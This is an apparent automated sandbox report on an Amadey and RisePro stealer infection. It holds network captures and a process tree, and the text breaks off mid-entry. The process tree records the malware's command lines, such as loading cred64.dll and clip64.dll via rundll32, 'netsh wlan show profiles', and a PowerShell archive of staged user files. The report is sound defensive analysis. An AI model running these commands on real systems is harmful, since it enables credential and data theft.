Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49924	40.126.28.20	443

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:40:56 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-04-18 21:40:56 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-18 21:40:56 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 18 Apr 2024 21:39:56 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C534_SN1 x-ms-request-id: 64027e05-488b-422a-929b-cfe49c7f4a1e PPServer: PPV: 30 H: SN1PEPF0002F9BA V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 18 Apr 2024 21:40:56 GMT Connection: close Content-Length: 11390
2024-04-18 21:40:56 UTC	11390	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49929	34.117.186.192	443	7652	C:\Users\user\AppData\Local\RageMP131\RageMP131.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:40:57 UTC	237	OUT	GET /widget/demo/81.181.57.52 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: ipinfo.io
2024-04-18 21:40:57 UTC	513	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Thu, 18 Apr 2024 21:40:57 GMT content-type: application/json; charset=utf-8 Content-Length: 980 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-18 21:40:57 UTC	742	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 31 2e 31 38 31 2e 35 37 2e 35 32 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 31 2e 31 38 31 2e 35 37 2e 35 32 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 41 74 6c 61 6e 74 61 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 47 65 6f 72 67 69 61 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 33 33 2e 37 34 39 30 2c 2d 38 34 2e 33 38 38 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 0a 20 20 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 33 30 33 30 32 22 2c 0a 20 20 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 41 6d 65 72 69 63 61 2f Data Ascii: { "input": "81.181.57.52", "data": { "ip": "81.181.57.52", "city": "Atlanta", "region": "Georgia", "country": "US", "loc": "33.7490,-84.3880", "org": "AS212238 Datacamp Limited", "postal": "30302", "timezone": "America/
2024-04-18 21:40:57 UTC	238	IN	Data Raw: 61 64 64 72 65 73 73 22 3a 20 22 41 76 65 72 65 73 63 75 20 4d 61 72 65 73 61 6c 20 38 2d 31 30 2c 20 42 75 63 68 61 72 65 73 74 2c 20 52 6f 6d 61 6e 69 61 22 2c 0a 20 20 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 52 4f 22 2c 0a 20 20 20 20 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 2d 62 69 6e 62 6f 78 40 72 6e 63 2e 72 6f 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 41 62 75 73 65 20 63 6f 6e 74 61 63 74 20 72 6f 6c 65 20 6f 62 6a 65 63 74 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 31 2e 31 38 31 2e 34 38 2e 30 2f 32 30 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 34 30 20 33 37 38 20 36 30 30 20 30 30 30 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: address": "Averescu Maresal 8-10, Bucharest, Romania", "country": "RO", "email": "abuse-binbox@rnc.ro", "name": "Abuse contact role object", "network": "81.181.48.0/20", "phone": "+40 378 600 000" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49931	104.26.5.15	443	7652	C:\Users\user\AppData\Local\RageMP131\RageMP131.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:40:57 UTC	261	OUT	GET /demo/home.php?s=81.181.57.52 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: db-ip.com
2024-04-18 21:40:58 UTC	652	IN	HTTP/1.1 200 OK Date: Thu, 18 Apr 2024 21:40:58 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: AC45463F:BDAE_93878F2E:0050_6621936A_8BE284A:7B63 x-iplb-instance: 59128 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9bX3v5RiEbBsE3iMTTaRqJhJDD8cLtmkcWG7sAu8Jcm68oSKPRno2tLRLtAQ2YMall3rMaRD%2BZQEYRMU5dtZGqGduWvJFVW4jyM%2FBmwAMc84VzNldjWRhIG0qg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8767d0f77f93672d-ATL alt-svc: h3=":443"; ma=86400
2024-04-18 21:40:58 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-04-18 21:40:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49950	172.253.124.100	443

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:41:03 UTC	549	OUT	OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: x-goog-authuser Origin: https://accounts.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 21:41:04 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web,authorization,origin,x-goog-authuser Content-Type: text/plain; charset=UTF-8 Date: Thu, 18 Apr 2024 21:41:04 GMT Server: Playlog Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49951	172.253.124.100	443

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:41:04 UTC	1089	OUT	POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 929 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" Content-Type: text/plain;charset=UTF-8 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" X-Goog-AuthUser: 0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQi5ys0BCPnA1BUIpu3MIhj2yc0BGNXdzQEY0/7NARjYhs4BGOuNpRc= Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 21:41:04 UTC	929	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 34 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 35 35 38 2c 5b 5b 22 31 37 31 33 34 37 36 34 35 33 30 30 30 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[4,0,0,0,0]]],558,[["1713476453000",null,null,null,
2024-04-18 21:41:04 UTC	925	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=513=U2ukguNNsF9T_5aDRKs4OIAVh84jjLBJEUaauoEFgMiuimNBs2eyxxeLv3yGBdt_wnvWQH45bDotqKjasD4KqdWct0uhVLRZiRrDN8T6QPKA0kSltWieQmDNPbBAl8w-KD_AGI1_Z0ht24c5TgsfLMt0XGSg2ryVry-usExfWK8; expires=Fri, 18-Oct-2024 21:41:04 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Thu, 18 Apr 2024 21:41:04 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Thu, 18 Apr 2024 21:41:04 GMT Connection: close Transfer-Encoding: chunked
2024-04-18 21:41:04 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-04-18 21:41:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	23:38:52
Start date:	18/04/2024
Path:	C:\Users\user\Desktop\UeW2b6mU6Z.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\UeW2b6mU6Z.exe"
Imagebase:	0xc40000
File size:	3'102'720 bytes
MD5 hash:	A0DE5117F2DB3409EEB42464B5C2E811
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1631465413.0000000005260000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1671668895.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	23:38:55
Start date:	18/04/2024
Path:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe"
Imagebase:	0xad0000
File size:	3'102'720 bytes
MD5 hash:	A0DE5117F2DB3409EEB42464B5C2E811
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1662528461.0000000004C90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1703275180.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:38:56
Start date:	18/04/2024
Path:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
Imagebase:	0xad0000
File size:	3'102'720 bytes
MD5 hash:	A0DE5117F2DB3409EEB42464B5C2E811
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1711152742.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1670942847.0000000005150000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	23:40:00
Start date:	18/04/2024
Path:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
Imagebase:	0xad0000
File size:	3'102'720 bytes
MD5 hash:	A0DE5117F2DB3409EEB42464B5C2E811
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2305523548.0000000004730000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	23:40:05
Start date:	18/04/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
Imagebase:	0xe40000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	23:40:05
Start date:	18/04/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
Imagebase:	0x7ff7ead50000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	23:40:06
Start date:	18/04/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show profiles
Imagebase:	0x7ff6d2130000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	23:40:06
Start date:	18/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	23:40:06
Start date:	18/04/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main
Imagebase:	0xe40000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000B.00000002.2906723727.000000006E361000.00000020.00000001.01000000.0000000A.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	23:40:07
Start date:	18/04/2024
Path:	C:\Users\user\AppData\Local\Temp\1000054001\amert.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000054001\amert.exe"
Imagebase:	0xd00000
File size:	1'937'408 bytes
MD5 hash:	1ED78F44A2CAD6E08DA27EDBC701B4BC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000C.00000002.2419534146.0000000000D01000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000C.00000003.2378317595.0000000005290000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	23:40:07
Start date:	18/04/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	23:40:07
Start date:	18/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	23:40:10
Start date:	18/04/2024
Path:	C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe"
Imagebase:	0x800000
File size:	1'166'336 bytes
MD5 hash:	76C779D2A6E42C6DBCFF43E67BB38CA3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	23:40:11
Start date:	18/04/2024
Path:	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe
Imagebase:	0x720000
File size:	1'937'408 bytes
MD5 hash:	1ED78F44A2CAD6E08DA27EDBC701B4BC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000010.00000002.2896697223.0000000000721000.00000040.00000001.01000000.00000011.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000010.00000003.2430115976.0000000004F30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	23:40:11
Start date:	18/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	23:40:11
Start date:	18/04/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	23:40:11
Start date:	18/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1908,i,11369697979599954763,617967172269754470,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	23:40:15
Start date:	18/04/2024
Path:	C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe"
Imagebase:	0xb80000
File size:	2'327'552 bytes
MD5 hash:	3709AD0A7007BCAE942B905A07BD6BBA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000014.00000002.2888771295.0000000001868000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000014.00000003.2487222595.00000000053D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000014.00000002.2888771295.00000000018AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000014.00000002.2886812747.0000000000B81000.00000040.00000001.01000000.00000014.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	23:40:18
Start date:	18/04/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
